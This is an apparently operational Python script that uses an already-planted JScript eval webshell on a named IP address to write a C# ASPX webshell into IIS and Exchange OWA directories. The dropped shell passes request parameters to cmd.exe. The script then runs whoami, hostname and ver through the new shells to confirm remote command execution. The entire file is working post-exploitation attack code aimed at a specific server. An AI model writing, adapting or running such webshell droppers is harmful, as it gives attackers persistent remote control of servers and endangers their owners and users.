#!/usr/bin/env python3
# Drop a clean cmd-style ASPX webshell onto 213.6.54.59 using the working JScript eval shell.
import requests, base64
requests.packages.urllib3.disable_warnings()

EVAL = "https://213.6.54.59/aspnet_client/movvtf.aspx"   # working eval shell

CS_PAYLOAD = ('<%@ Page Language="C#" validateRequest="false" %><script runat="server">'
              'protected void Page_Load(object sender, System.EventArgs e){'
              'string c=Request["cmd"];if(c!=null){'
              'var p=new System.Diagnostics.Process();'
              'p.StartInfo.FileName="cmd.exe";p.StartInfo.Arguments="/c "+c;'
              'p.StartInfo.UseShellExecute=false;p.StartInfo.RedirectStandardOutput=true;'
              'p.StartInfo.RedirectStandardError=true;p.Start();'
              'string o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();'
              'p.WaitForExit();Response.Write(o);}}</script>')

b64 = base64.b64encode(CS_PAYLOAD.encode()).decode()

targets = [
    "C:\\inetpub\\wwwroot\\aspnet_client\\cmd.aspx",
    "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\cmd.aspx",
]

for path in targets:
    code = ('var b=System.Convert.FromBase64String("{0}");'
            'try{{System.IO.File.WriteAllBytes("{1}", b);Response.Write("DROPPED:{1}");}}'
            'catch(e){{Response.Write("ERR:"+e.message);}}').format(b64, path.replace("\\", "\\\\"))
    try:
        r = requests.post(EVAL, headers={'Content-Type': 'application/x-www-form-urlencoded'},
                          params={"exec_code": code}, verify=False, timeout=30)
        print(f"[drop] {path}\n   -> {r.status_code} {r.text[:160]!r}", flush=True)
    except Exception as e:
        print(f"[drop] {path} err {type(e).__name__} {str(e)[:100]}", flush=True)

# verify cmd-style execution
for u in ["https://213.6.54.59/aspnet_client/cmd.aspx",
          "https://213.6.54.59/owa/auth/cmd.aspx"]:
    try:
        r = requests.get(u, params={"cmd": "whoami & hostname & ver"}, verify=False, timeout=25)
        print(f"[verify] {u} -> {r.status_code} {r.text[:200]!r}", flush=True)
    except Exception as e:
        print(f"[verify] {u} err {type(e).__name__} {str(e)[:100]}", flush=True)